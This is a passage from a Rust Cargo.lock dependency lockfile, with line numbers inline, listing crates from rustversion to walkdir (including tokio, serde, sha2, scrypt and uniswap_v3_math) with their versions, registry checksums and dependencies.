"registry+https://github.com/rust-lang/crates.io-index" 2774 | checksum = "0864aeff53f8c05aa08d86e5ef839d3dfcf07aeba2db32f12db0ef716e87bd55" 2775 | dependencies = [ 2776 | "base64 0.13.1", 2777 | ] 2778 | 2779 | [[package]] 2780 | name = "rustversion" 2781 | version = "1.0.9" 2782 | source = "registry+https://github.com/rust-lang/crates.io-index" 2783 | checksum = "97477e48b4cf8603ad5f7aaf897467cf42ab4218a38ef76fb14c2d6773a6d6a8" 2784 | 2785 | [[package]] 2786 | name = "ryu" 2787 | version = "1.0.11" 2788 | source = "registry+https://github.com/rust-lang/crates.io-index" 2789 | checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09" 2790 | 2791 | [[package]] 2792 | name = "salsa20" 2793 | version = "0.10.2" 2794 | source = "registry+https://github.com/rust-lang/crates.io-index" 2795 | checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" 2796 | dependencies = [ 2797 | "cipher 0.4.3", 2798 | ] 2799 | 2800 | [[package]] 2801 | name = "same-file" 2802 | version = "1.0.6" 2803 | source = "registry+https://github.com/rust-lang/crates.io-index" 2804 | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" 2805 | dependencies = [ 2806 | "winapi-util", 2807 | ] 2808 | 2809 | [[package]] 2810 | name = "scale-info" 2811 | version = "2.3.0" 2812 | source = "registry+https://github.com/rust-lang/crates.io-index" 2813 | checksum = "88d8a765117b237ef233705cc2cc4c6a27fccd46eea6ef0c8c6dae5f3ef407f8" 2814 | dependencies = [ 2815 | "cfg-if", 2816 | "derive_more", 2817 | "parity-scale-codec", 2818 | "scale-info-derive", 2819 | ] 2820 | 2821 | [[package]] 2822 | name = "scale-info-derive" 2823 | version = "2.3.0" 2824 | source = "registry+https://github.com/rust-lang/crates.io-index" 2825 | checksum = "cdcd47b380d8c4541044e341dcd9475f55ba37ddc50c908d945fc036a8642496" 2826 | dependencies = [ 2827 | "proc-macro-crate", 2828 | "proc-macro2", 2829 | "quote", 2830 | "syn", 2831 | ] 2832 | 2833 | [[package]] 2834 | name = "schannel" 2835 | version = "0.1.20" 2836 | source = "registry+https://github.com/rust-lang/crates.io-index" 2837 | checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2" 2838 | dependencies = [ 2839 | "lazy_static", 2840 | "windows-sys 0.36.1", 2841 | ] 2842 | 2843 | [[package]] 2844 | name = "scopeguard" 2845 | version = "1.1.0" 2846 | source = "registry+https://github.com/rust-lang/crates.io-index" 2847 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 2848 | 2849 | [[package]] 2850 | name = "scratch" 2851 | version = "1.0.3" 2852 | source = "registry+https://github.com/rust-lang/crates.io-index" 2853 | checksum = "ddccb15bcce173023b3fedd9436f882a0739b8dfb45e4f6b6002bee5929f61b2" 2854 | 2855 | [[package]] 2856 | name = "scrypt" 2857 | version = "0.10.0" 2858 | source = "registry+https://github.com/rust-lang/crates.io-index" 2859 | checksum = "9f9e24d2b632954ded8ab2ef9fea0a0c769ea56ea98bddbafbad22caeeadf45d" 2860 | dependencies = [ 2861 | "hmac", 2862 | "pbkdf2", 2863 | "salsa20", 2864 | "sha2 0.10.6", 2865 | ] 2866 | 2867 | [[package]] 2868 | name = "sct" 2869 | version = "0.7.0" 2870 | source = "registry+https://github.com/rust-lang/crates.io-index" 2871 | checksum = "d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4" 2872 | dependencies = [ 2873 | "ring", 2874 | "untrusted", 2875 | ] 2876 | 2877 | [[package]] 2878 | name = "sec1" 2879 | version = "0.3.0" 2880 | source = "registry+https://github.com/rust-lang/crates.io-index" 2881 | checksum = "3be24c1842290c45df0a7bf069e0c268a747ad05a192f2fd7dcfdbc1cba40928" 2882 | dependencies = [ 2883 | "base16ct", 2884 | "der", 2885 | "generic-array 0.14.6", 2886 | "pkcs8", 2887 | "subtle", 2888 | "zeroize", 2889 | ] 2890 | 2891 | [[package]] 2892 | name = "security-framework" 2893 | version = "2.7.0" 2894 | source = "registry+https://github.com/rust-lang/crates.io-index" 2895 | checksum = "2bc1bb97804af6631813c55739f771071e0f2ed33ee20b68c86ec505d906356c" 2896 | dependencies = [ 2897 | "bitflags", 2898 | "core-foundation", 2899 | "core-foundation-sys", 2900 | "libc", 2901 | "security-framework-sys", 2902 | ] 2903 | 2904 | [[package]] 2905 | name = "security-framework-sys" 2906 | version = "2.6.1" 2907 | source = "registry+https://github.com/rust-lang/crates.io-index" 2908 | checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556" 2909 | dependencies = [ 2910 | "core-foundation-sys", 2911 | "libc", 2912 | ] 2913 | 2914 | [[package]] 2915 | name = "semver" 2916 | version = "1.0.14" 2917 | source = "registry+https://github.com/rust-lang/crates.io-index" 2918 | checksum = "e25dfac463d778e353db5be2449d1cce89bd6fd23c9f1ea21310ce6e5a1b29c4" 2919 | dependencies = [ 2920 | "serde", 2921 | ] 2922 | 2923 | [[package]] 2924 | name = "send_wrapper" 2925 | version = "0.5.0" 2926 | source = "registry+https://github.com/rust-lang/crates.io-index" 2927 | checksum = "930c0acf610d3fdb5e2ab6213019aaa04e227ebe9547b0649ba599b16d788bd7" 2928 | 2929 | [[package]] 2930 | name = "serde" 2931 | version = "1.0.149" 2932 | source = "registry+https://github.com/rust-lang/crates.io-index" 2933 | checksum = "256b9932320c590e707b94576e3cc1f7c9024d0ee6612dfbcf1cb106cbe8e055" 2934 | dependencies = [ 2935 | "serde_derive", 2936 | ] 2937 | 2938 | [[package]] 2939 | name = "serde-aux" 2940 | version = "4.1.2" 2941 | source = "registry+https://github.com/rust-lang/crates.io-index" 2942 | checksum = "c599b3fd89a75e0c18d6d2be693ddb12cccaf771db4ff9e39097104808a014c0" 2943 | dependencies = [ 2944 | "serde", 2945 | "serde_json", 2946 | ] 2947 | 2948 | [[package]] 2949 | name = "serde_derive" 2950 | version = "1.0.149" 2951 | source = "registry+https://github.com/rust-lang/crates.io-index" 2952 | checksum = "b4eae9b04cbffdfd550eb462ed33bc6a1b68c935127d008b27444d08380f94e4" 2953 | dependencies = [ 2954 | "proc-macro2", 2955 | "quote", 2956 | "syn", 2957 | ] 2958 | 2959 | [[package]] 2960 | name = "serde_json" 2961 | version = "1.0.89" 2962 | source = "registry+https://github.com/rust-lang/crates.io-index" 2963 | checksum = "020ff22c755c2ed3f8cf162dbb41a7268d934702f3ed3631656ea597e08fc3db" 2964 | dependencies = [ 2965 | "itoa", 2966 | "ryu", 2967 | "serde", 2968 | ] 2969 | 2970 | [[package]] 2971 | name = "serde_urlencoded" 2972 | version = "0.7.1" 2973 | source = "registry+https://github.com/rust-lang/crates.io-index" 2974 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" 2975 | dependencies = [ 2976 | "form_urlencoded", 2977 | "itoa", 2978 | "ryu", 2979 | "serde", 2980 | ] 2981 | 2982 | [[package]] 2983 | name = "sha-1" 2984 | version = "0.10.1" 2985 | source = "registry+https://github.com/rust-lang/crates.io-index" 2986 | checksum = "f5058ada175748e33390e40e872bd0fe59a19f265d0158daa551c5a88a76009c" 2987 | dependencies = [ 2988 | "cfg-if", 2989 | "cpufeatures", 2990 | "digest 0.10.6", 2991 | ] 2992 | 2993 | [[package]] 2994 | name = "sha1" 2995 | version = "0.10.5" 2996 | source = "registry+https://github.com/rust-lang/crates.io-index" 2997 | checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3" 2998 | dependencies = [ 2999 | "cfg-if", 3000 | "cpufeatures", 3001 | "digest 0.10.6", 3002 | ] 3003 | 3004 | [[package]] 3005 | name = "sha2" 3006 | version = "0.8.2" 3007 | source = "registry+https://github.com/rust-lang/crates.io-index" 3008 | checksum = "a256f46ea78a0c0d9ff00077504903ac881a1dafdc20da66545699e7776b3e69" 3009 | dependencies = [ 3010 | "block-buffer 0.7.3", 3011 | "digest 0.8.1", 3012 | "fake-simd", 3013 | "opaque-debug 0.2.3", 3014 | ] 3015 | 3016 | [[package]] 3017 | name = "sha2" 3018 | version = "0.9.9" 3019 | source = "registry+https://github.com/rust-lang/crates.io-index" 3020 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 3021 | dependencies = [ 3022 | "block-buffer 0.9.0", 3023 | "cfg-if", 3024 | "cpufeatures", 3025 | "digest 0.9.0", 3026 | "opaque-debug 0.3.0", 3027 | ] 3028 | 3029 | [[package]] 3030 | name = "sha2" 3031 | version = "0.10.6" 3032 | source = "registry+https://github.com/rust-lang/crates.io-index" 3033 | checksum = "82e6b795fe2e3b1e845bafcb27aa35405c4d47cdfc92af5fc8d3002f76cebdc0" 3034 | dependencies = [ 3035 | "cfg-if", 3036 | "cpufeatures", 3037 | "digest 0.10.6", 3038 | ] 3039 | 3040 | [[package]] 3041 | name = "sha3" 3042 | version = "0.10.6" 3043 | source = "registry+https://github.com/rust-lang/crates.io-index" 3044 | checksum = "bdf0c33fae925bdc080598b84bc15c55e7b9a4a43b3c704da051f977469691c9" 3045 | dependencies = [ 3046 | "digest 0.10.6", 3047 | "keccak", 3048 | ] 3049 | 3050 | [[package]] 3051 | name = "signal-hook-registry" 3052 | version = "1.4.0" 3053 | source = "registry+https://github.com/rust-lang/crates.io-index" 3054 | checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0" 3055 | dependencies = [ 3056 | "libc", 3057 | ] 3058 | 3059 | [[package]] 3060 | name = "signature" 3061 | version = "1.6.4" 3062 | source = "registry+https://github.com/rust-lang/crates.io-index" 3063 | checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" 3064 | dependencies = [ 3065 | "digest 0.10.6", 3066 | "rand_core", 3067 | ] 3068 | 3069 | [[package]] 3070 | name = "siphasher" 3071 | version = "0.3.10" 3072 | source = "registry+https://github.com/rust-lang/crates.io-index" 3073 | checksum = "7bd3e3206899af3f8b12af284fafc038cc1dc2b41d1b89dd17297221c5d225de" 3074 | 3075 | [[package]] 3076 | name = "slab" 3077 | version = "0.4.7" 3078 | source = "registry+https://github.com/rust-lang/crates.io-index" 3079 | checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef" 3080 | dependencies = [ 3081 | "autocfg", 3082 | ] 3083 | 3084 | [[package]] 3085 | name = "smallvec" 3086 | version = "1.10.0" 3087 | source = "registry+https://github.com/rust-lang/crates.io-index" 3088 | checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" 3089 | 3090 | [[package]] 3091 | name = "socket2" 3092 | version = "0.4.7" 3093 | source = "registry+https://github.com/rust-lang/crates.io-index" 3094 | checksum = "02e2d2db9033d13a1567121ddd7a095ee144db4e1ca1b1bda3419bc0da294ebd" 3095 | dependencies = [ 3096 | "libc", 3097 | "winapi", 3098 | ] 3099 | 3100 | [[package]] 3101 | name = "solang-parser" 3102 | version = "0.1.18" 3103 | source = "registry+https://github.com/rust-lang/crates.io-index" 3104 | checksum = "ac8ac4bfef383f368bd9bb045107a501cd9cd0b64ad1983e1b7e839d6a44ecad" 3105 | dependencies = [ 3106 | "itertools", 3107 | "lalrpop", 3108 | "lalrpop-util", 3109 | "phf", 3110 | "unicode-xid", 3111 | ] 3112 | 3113 | [[package]] 3114 | name = "spin" 3115 | version = "0.5.2" 3116 | source = "registry+https://github.com/rust-lang/crates.io-index" 3117 | checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" 3118 | 3119 | [[package]] 3120 | name = "spki" 3121 | version = "0.6.0" 3122 | source = "registry+https://github.com/rust-lang/crates.io-index" 3123 | checksum = "67cf02bbac7a337dc36e4f5a693db6c21e7863f45070f7064577eb4367a3212b" 3124 | dependencies = [ 3125 | "base64ct", 3126 | "der", 3127 | ] 3128 | 3129 | [[package]] 3130 | name = "static_assertions" 3131 | version = "1.1.0" 3132 | source = "registry+https://github.com/rust-lang/crates.io-index" 3133 | checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" 3134 | 3135 | [[package]] 3136 | name = "string_cache" 3137 | version = "0.8.4" 3138 | source = "registry+https://github.com/rust-lang/crates.io-index" 3139 | checksum = "213494b7a2b503146286049378ce02b482200519accc31872ee8be91fa820a08" 3140 | dependencies = [ 3141 | "new_debug_unreachable", 3142 | "once_cell", 3143 | "parking_lot 0.12.1", 3144 | "phf_shared", 3145 | "precomputed-hash", 3146 | ] 3147 | 3148 | [[package]] 3149 | name = "strsim" 3150 | version = "0.10.0" 3151 | source = "registry+https://github.com/rust-lang/crates.io-index" 3152 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" 3153 | 3154 | [[package]] 3155 | name = "strum" 3156 | version = "0.24.1" 3157 | source = "registry+https://github.com/rust-lang/crates.io-index" 3158 | checksum = "063e6045c0e62079840579a7e47a355ae92f60eb74daaf156fb1e84ba164e63f" 3159 | dependencies = [ 3160 | "strum_macros", 3161 | ] 3162 | 3163 | [[package]] 3164 | name = "strum_macros" 3165 | version = "0.24.3" 3166 | source = "registry+https://github.com/rust-lang/crates.io-index" 3167 | checksum = "1e385be0d24f186b4ce2f9982191e7101bb737312ad61c1f2f984f34bcf85d59" 3168 | dependencies = [ 3169 | "heck", 3170 | "proc-macro2", 3171 | "quote", 3172 | "rustversion", 3173 | "syn", 3174 | ] 3175 | 3176 | [[package]] 3177 | name = "subtle" 3178 | version = "2.4.1" 3179 | source = "registry+https://github.com/rust-lang/crates.io-index" 3180 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 3181 | 3182 | [[package]] 3183 | name = "svm-rs" 3184 | version = "0.2.18" 3185 | source = "registry+https://github.com/rust-lang/crates.io-index" 3186 | checksum = "4e4cdcf91153dc0e4e0637f26f042ada32a3b552bc8115935c7bf96f80132b0a" 3187 | dependencies = [ 3188 | "anyhow", 3189 | "cfg-if", 3190 | "clap", 3191 | "console 0.14.1", 3192 | "dialoguer", 3193 | "fs2", 3194 | "hex", 3195 | "home", 3196 | "indicatif 0.16.2", 3197 | "itertools", 3198 | "once_cell", 3199 | "rand", 3200 | "reqwest", 3201 | "semver", 3202 | "serde", 3203 | "serde_json", 3204 | "sha2 0.9.9", 3205 | "tempfile", 3206 | "thiserror", 3207 | "tokio", 3208 | "tracing", 3209 | "url", 3210 | "zip", 3211 | ] 3212 | 3213 | [[package]] 3214 | name = "syn" 3215 | version = "1.0.105" 3216 | source = "registry+https://github.com/rust-lang/crates.io-index" 3217 | checksum = "60b9b43d45702de4c839cb9b51d9f529c5dd26a4aff255b42b1ebc03e88ee908" 3218 | dependencies = [ 3219 | "proc-macro2", 3220 | "quote", 3221 | "unicode-ident", 3222 | ] 3223 | 3224 | [[package]] 3225 | name = "tap" 3226 | version = "1.0.1" 3227 | source = "registry+https://github.com/rust-lang/crates.io-index" 3228 | checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" 3229 | 3230 | [[package]] 3231 | name = "tempfile" 3232 | version = "3.3.0" 3233 | source = "registry+https://github.com/rust-lang/crates.io-index" 3234 | checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" 3235 | dependencies = [ 3236 | "cfg-if", 3237 | "fastrand", 3238 | "libc", 3239 | "redox_syscall", 3240 | "remove_dir_all", 3241 | "winapi", 3242 | ] 3243 | 3244 | [[package]] 3245 | name = "term" 3246 | version = "0.7.0" 3247 | source = "registry+https://github.com/rust-lang/crates.io-index" 3248 | checksum = "c59df8ac95d96ff9bede18eb7300b0fda5e5d8d90960e76f8e14ae765eedbf1f" 3249 | dependencies = [ 3250 | "dirs-next", 3251 | "rustversion", 3252 | "winapi", 3253 | ] 3254 | 3255 | [[package]] 3256 | name = "termcolor" 3257 | version = "1.1.3" 3258 | source = "registry+https://github.com/rust-lang/crates.io-index" 3259 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 3260 | dependencies = [ 3261 | "winapi-util", 3262 | ] 3263 | 3264 | [[package]] 3265 | name = "terminal_size" 3266 | version = "0.1.17" 3267 | source = "registry+https://github.com/rust-lang/crates.io-index" 3268 | checksum = "633c1a546cee861a1a6d0dc69ebeca693bf4296661ba7852b9d21d159e0506df" 3269 | dependencies = [ 3270 | "libc", 3271 | "winapi", 3272 | ] 3273 | 3274 | [[package]] 3275 | name = "textwrap" 3276 | version = "0.16.0" 3277 | source = "registry+https://github.com/rust-lang/crates.io-index" 3278 | checksum = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d" 3279 | 3280 | [[package]] 3281 | name = "thiserror" 3282 | version = "1.0.37" 3283 | source = "registry+https://github.com/rust-lang/crates.io-index" 3284 | checksum = "10deb33631e3c9018b9baf9dcbbc4f737320d2b576bac10f6aefa048fa407e3e" 3285 | dependencies = [ 3286 | "thiserror-impl", 3287 | ] 3288 | 3289 | [[package]] 3290 | name = "thiserror-impl" 3291 | version = "1.0.37" 3292 | source = "registry+https://github.com/rust-lang/crates.io-index" 3293 | checksum = "982d17546b47146b28f7c22e3d08465f6b8903d0ea13c1660d9d84a6e7adcdbb" 3294 | dependencies = [ 3295 | "proc-macro2", 3296 | "quote", 3297 | "syn", 3298 | ] 3299 | 3300 | [[package]] 3301 | name = "time" 3302 | version = "0.1.45" 3303 | source = "registry+https://github.com/rust-lang/crates.io-index" 3304 | checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" 3305 | dependencies = [ 3306 | "libc", 3307 | "wasi 0.10.0+wasi-snapshot-preview1", 3308 | "winapi", 3309 | ] 3310 | 3311 | [[package]] 3312 | name = "time" 3313 | version = "0.3.17" 3314 | source = "registry+https://github.com/rust-lang/crates.io-index" 3315 | checksum = "a561bf4617eebd33bca6434b988f39ed798e527f51a1e797d0ee4f61c0a38376" 3316 | dependencies = [ 3317 | "itoa", 3318 | "serde", 3319 | "time-core", 3320 | "time-macros", 3321 | ] 3322 | 3323 | [[package]] 3324 | name = "time-core" 3325 | version = "0.1.0" 3326 | source = "registry+https://github.com/rust-lang/crates.io-index" 3327 | checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd" 3328 | 3329 | [[package]] 3330 | name = "time-macros" 3331 | version = "0.2.6" 3332 | source = "registry+https://github.com/rust-lang/crates.io-index" 3333 | checksum = "d967f99f534ca7e495c575c62638eebc2898a8c84c119b89e250477bc4ba16b2" 3334 | dependencies = [ 3335 | "time-core", 3336 | ] 3337 | 3338 | [[package]] 3339 | name = "tiny-keccak" 3340 | version = "2.0.2" 3341 | source = "registry+https://github.com/rust-lang/crates.io-index" 3342 | checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" 3343 | dependencies = [ 3344 | "crunchy", 3345 | ] 3346 | 3347 | [[package]] 3348 | name = "tinyvec" 3349 | version = "1.6.0" 3350 | source = "registry+https://github.com/rust-lang/crates.io-index" 3351 | checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" 3352 | dependencies = [ 3353 | "tinyvec_macros", 3354 | ] 3355 | 3356 | [[package]] 3357 | name = "tinyvec_macros" 3358 | version = "0.1.0" 3359 | source = "registry+https://github.com/rust-lang/crates.io-index" 3360 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" 3361 | 3362 | [[package]] 3363 | name = "tokio" 3364 | version = "1.23.0" 3365 | source = "registry+https://github.com/rust-lang/crates.io-index" 3366 | checksum = "eab6d665857cc6ca78d6e80303a02cea7a7851e85dfbd77cbdc09bd129f1ef46" 3367 | dependencies = [ 3368 | "autocfg", 3369 | "bytes", 3370 | "libc", 3371 | "memchr", 3372 | "mio", 3373 | "num_cpus", 3374 | "parking_lot 0.12.1", 3375 | "pin-project-lite", 3376 | "signal-hook-registry", 3377 | "socket2", 3378 | "tokio-macros", 3379 | "windows-sys 0.42.0", 3380 | ] 3381 | 3382 | [[package]] 3383 | name = "tokio-macros" 3384 | version = "1.8.2" 3385 | source = "registry+https://github.com/rust-lang/crates.io-index" 3386 | checksum = "d266c00fde287f55d3f1c3e96c500c362a2b8c695076ec180f27918820bc6df8" 3387 | dependencies = [ 3388 | "proc-macro2", 3389 | "quote", 3390 | "syn", 3391 | ] 3392 | 3393 | [[package]] 3394 | name = "tokio-native-tls" 3395 | version = "0.3.0" 3396 | source = "registry+https://github.com/rust-lang/crates.io-index" 3397 | checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b" 3398 | dependencies = [ 3399 | "native-tls", 3400 | "tokio", 3401 | ] 3402 | 3403 | [[package]] 3404 | name = "tokio-rustls" 3405 | version = "0.23.4" 3406 | source = "registry+https://github.com/rust-lang/crates.io-index" 3407 | checksum = "c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59" 3408 | dependencies = [ 3409 | "rustls", 3410 | "tokio", 3411 | "webpki", 3412 | ] 3413 | 3414 | [[package]] 3415 | name = "tokio-tungstenite" 3416 | version = "0.17.2" 3417 | source = "registry+https://github.com/rust-lang/crates.io-index" 3418 | checksum = "f714dd15bead90401d77e04243611caec13726c2408afd5b31901dfcdcb3b181" 3419 | dependencies = [ 3420 | "futures-util", 3421 | "log", 3422 | "native-tls", 3423 | "rustls", 3424 | "tokio", 3425 | "tokio-native-tls", 3426 | "tokio-rustls", 3427 | "tungstenite", 3428 | "webpki", 3429 | "webpki-roots", 3430 | ] 3431 | 3432 | [[package]] 3433 | name = "tokio-util" 3434 | version = "0.7.4" 3435 | source = "registry+https://github.com/rust-lang/crates.io-index" 3436 | checksum = "0bb2e075f03b3d66d8d8785356224ba688d2906a371015e225beeb65ca92c740" 3437 | dependencies = [ 3438 | "bytes", 3439 | "futures-core", 3440 | "futures-sink", 3441 | "pin-project-lite", 3442 | "tokio", 3443 | "tracing", 3444 | ] 3445 | 3446 | [[package]] 3447 | name = "toml" 3448 | version = "0.5.9" 3449 | source = "registry+https://github.com/rust-lang/crates.io-index" 3450 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" 3451 | dependencies = [ 3452 | "serde", 3453 | ] 3454 | 3455 | [[package]] 3456 | name = "tower-service" 3457 | version = "0.3.2" 3458 | source = "registry+https://github.com/rust-lang/crates.io-index" 3459 | checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" 3460 | 3461 | [[package]] 3462 | name = "tracing" 3463 | version = "0.1.37" 3464 | source = "registry+https://github.com/rust-lang/crates.io-index" 3465 | checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" 3466 | dependencies = [ 3467 | "cfg-if", 3468 | "pin-project-lite", 3469 | "tracing-attributes", 3470 | "tracing-core", 3471 | ] 3472 | 3473 | [[package]] 3474 | name = "tracing-attributes" 3475 | version = "0.1.23" 3476 | source = "registry+https://github.com/rust-lang/crates.io-index" 3477 | checksum = "4017f8f45139870ca7e672686113917c71c7a6e02d4924eda67186083c03081a" 3478 | dependencies = [ 3479 | "proc-macro2", 3480 | "quote", 3481 | "syn", 3482 | ] 3483 | 3484 | [[package]] 3485 | name = "tracing-core" 3486 | version = "0.1.30" 3487 | source = "registry+https://github.com/rust-lang/crates.io-index" 3488 | checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a" 3489 | dependencies = [ 3490 | "once_cell", 3491 | ] 3492 | 3493 | [[package]] 3494 | name = "tracing-futures" 3495 | version = "0.2.5" 3496 | source = "registry+https://github.com/rust-lang/crates.io-index" 3497 | checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" 3498 | dependencies = [ 3499 | "pin-project", 3500 | "tracing", 3501 | ] 3502 | 3503 | [[package]] 3504 | name = "try-lock" 3505 | version = "0.2.3" 3506 | source = "registry+https://github.com/rust-lang/crates.io-index" 3507 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" 3508 | 3509 | [[package]] 3510 | name = "tungstenite" 3511 | version = "0.17.3" 3512 | source = "registry+https://github.com/rust-lang/crates.io-index" 3513 | checksum = "e27992fd6a8c29ee7eef28fc78349aa244134e10ad447ce3b9f0ac0ed0fa4ce0" 3514 | dependencies = [ 3515 | "base64 0.13.1", 3516 | "byteorder", 3517 | "bytes", 3518 | "http", 3519 | "httparse", 3520 | "log", 3521 | "native-tls", 3522 | "rand", 3523 | "rustls", 3524 | "sha-1", 3525 | "thiserror", 3526 | "url", 3527 | "utf-8", 3528 | "webpki", 3529 | ] 3530 | 3531 | [[package]] 3532 | name = "typenum" 3533 | version = "1.16.0" 3534 | source = "registry+https://github.com/rust-lang/crates.io-index" 3535 | checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" 3536 | 3537 | [[package]] 3538 | name = "uint" 3539 | version = "0.9.5" 3540 | source = "registry+https://github.com/rust-lang/crates.io-index" 3541 | checksum = "76f64bba2c53b04fcab63c01a7d7427eadc821e3bc48c34dc9ba29c501164b52" 3542 | dependencies = [ 3543 | "byteorder", 3544 | "crunchy", 3545 | "hex", 3546 | "static_assertions", 3547 | ] 3548 | 3549 | [[package]] 3550 | name = "unicode-bidi" 3551 | version = "0.3.8" 3552 | source = "registry+https://github.com/rust-lang/crates.io-index" 3553 | checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992" 3554 | 3555 | [[package]] 3556 | name = "unicode-ident" 3557 | version = "1.0.5" 3558 | source = "registry+https://github.com/rust-lang/crates.io-index" 3559 | checksum = "6ceab39d59e4c9499d4e5a8ee0e2735b891bb7308ac83dfb4e80cad195c9f6f3" 3560 | 3561 | [[package]] 3562 | name = "unicode-normalization" 3563 | version = "0.1.22" 3564 | source = "registry+https://github.com/rust-lang/crates.io-index" 3565 | checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" 3566 | dependencies = [ 3567 | "tinyvec", 3568 | ] 3569 | 3570 | [[package]] 3571 | name = "unicode-segmentation" 3572 | version = "1.10.0" 3573 | source = "registry+https://github.com/rust-lang/crates.io-index" 3574 | checksum = "0fdbf052a0783de01e944a6ce7a8cb939e295b1e7be835a1112c3b9a7f047a5a" 3575 | 3576 | [[package]] 3577 | name = "unicode-width" 3578 | version = "0.1.10" 3579 | source = "registry+https://github.com/rust-lang/crates.io-index" 3580 | checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" 3581 | 3582 | [[package]] 3583 | name = "unicode-xid" 3584 | version = "0.2.4" 3585 | source = "registry+https://github.com/rust-lang/crates.io-index" 3586 | checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c" 3587 | 3588 | [[package]] 3589 | name = "uniswap_v3_math" 3590 | version = "0.2.23" 3591 | source = "registry+https://github.com/rust-lang/crates.io-index" 3592 | checksum = "8a79590d6f0b7dfd89cdaa16ed424624c9ce5b6a2b5967e3b9cf492e01d6a000" 3593 | dependencies = [ 3594 | "ethers", 3595 | "ruint", 3596 | "thiserror", 3597 | ] 3598 | 3599 | [[package]] 3600 | name = "untrusted" 3601 | version = "0.7.1" 3602 | source = "registry+https://github.com/rust-lang/crates.io-index" 3603 | checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" 3604 | 3605 | [[package]] 3606 | name = "url" 3607 | version = "2.3.1" 3608 | source = "registry+https://github.com/rust-lang/crates.io-index" 3609 | checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643" 3610 | dependencies = [ 3611 | "form_urlencoded", 3612 | "idna", 3613 | "percent-encoding", 3614 | ] 3615 | 3616 | [[package]] 3617 | name = "utf-8" 3618 | version = "0.7.6" 3619 | source = "registry+https://github.com/rust-lang/crates.io-index" 3620 | checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" 3621 | 3622 | [[package]] 3623 | name = "uuid" 3624 | version = "0.8.2" 3625 | source = "registry+https://github.com/rust-lang/crates.io-index" 3626 | checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" 3627 | dependencies = [ 3628 | "getrandom", 3629 | "serde", 3630 | ] 3631 | 3632 | [[package]] 3633 | name = "vcpkg" 3634 | version = "0.2.15" 3635 | source = "registry+https://github.com/rust-lang/crates.io-index" 3636 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" 3637 | 3638 | [[package]] 3639 | name = "version_check" 3640 | version = "0.9.4" 3641 | source = "registry+https://github.com/rust-lang/crates.io-index" 3642 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 3643 | 3644 | [[package]] 3645 | name = "walkdir" 3646 | version = "2.3.2" 3647 | source = "registry+https://github.com/rust-lang/crates.io-index" 3648 | checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" 3649 | dependencies = [ 3650 | "same-file", 3651 | "winapi", 3652 | 